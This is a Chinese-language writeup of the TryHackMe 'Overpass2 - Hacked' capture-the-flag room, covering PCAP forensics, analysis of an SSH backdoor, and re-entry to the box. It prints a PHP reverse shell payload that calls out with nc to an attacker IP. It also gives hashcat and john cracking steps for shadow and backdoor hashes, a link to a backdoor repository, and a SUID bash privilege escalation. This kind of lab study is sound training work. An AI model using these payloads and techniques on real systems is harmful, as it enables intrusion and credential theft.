TryHackMe | Overpass2- Hacked | Writeup

Overpass2 - Hacked

取证 – 分析 PCAP

首先要找到上传反向 shell 的页面 URL,这里先过滤了 HTTP 数据包

很容易就看到了几个 POST 请求,上传的路径是 upload 路径,这里追踪那个 POST 数据包的 HTTP 流,进一步查看

可以看到他在 development 的 upload.php 下传入了一个 payload.php 的文件,内容就是一个反向的 shell

What was the URL of the page they used to upload a reverse shell?

/development/

What payload did the attacker use to gain access?

<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>

接下来是找攻击者利用反向 shell 实现的攻击,这里先过滤出攻击者的数据包,使用 ip.dst == 192.168.170.145

可以看到除了前面的几个 HTTP 的数据包.后面就是 TCP 的数据包,可能是连接上了 shell,这里点击一个 TCP 数据包之后,进行追踪 TCP 流

可以看到就是 Linux 命令,发现攻击者使用 su 切换到 james 用户身份,也看到使用的密码

What password did the attacker use to privesc?

whenevernoteartinstant

向下看,找到攻击者使用 git 命令从 GitHub 中下载了一个后门,设置了一个 ssh 连接

How did the attacker establish persistence?

https://github.com/NinjaJc01/ssh-backdoor

最后要找到系统密码的破解,可以看到攻击者 cat 过 shadow 文件

这里我们可以看到最后五个用户的密码和用户名,使用 john 进行破解,破解的文件要只需要留下用户名和后面的 hash 值,hash 值的 : 后面的都需要删除掉

这里可以看出破解出四个用户的系统密码


研究 – 分析代码

这里需要分析后门的程序代码,我们可以到 GitHub 的地址中找到利用的后门程序

这个代码是自定义的一个带有密码的 SSH 服务器,使用正确的密码经过(SHA512 加盐哈希对比)才可以是实现登录

默认的哈希值在开头使用变量定义好了

在最后的函数中我们也找到盐的值

之前追踪 TCP 流中,可以看到使用的哈希值,这是使用 a 参数来设置了程序的哈希值,也就是后面登录时的校验密码

使用 hash:salt的格式来写入 hash.txt,然后使用 hashcat 进行破解, hashcat -m 1710 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --force,也就可以拿到后门的密码了

进攻 – 回来

这里首先使用 nmap 对于目标端口进行扫描

进入 80 端口的 web 页面发现已经被挂了黑页

这里也发现了 2222 端口开放着,就利用之前破解的密码进行登录,注意要加上 -oHostKeyAlgorithms=+ssh-rsa,登录之后可以在 james 的根目录下找到 flag

这里使用 ls -al查看一下根目录下文件,发现一个 suid 的 .suid_hash文件,运行之后发现是给了一个终端,就是 bash 文件的效果,在https://gtfobins.github.io/gtfobins/bash/#suid进行了搜索,发现加上 -p参数运行就可以拿到 root 权限

最后在/root 目录下找到根 flag


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值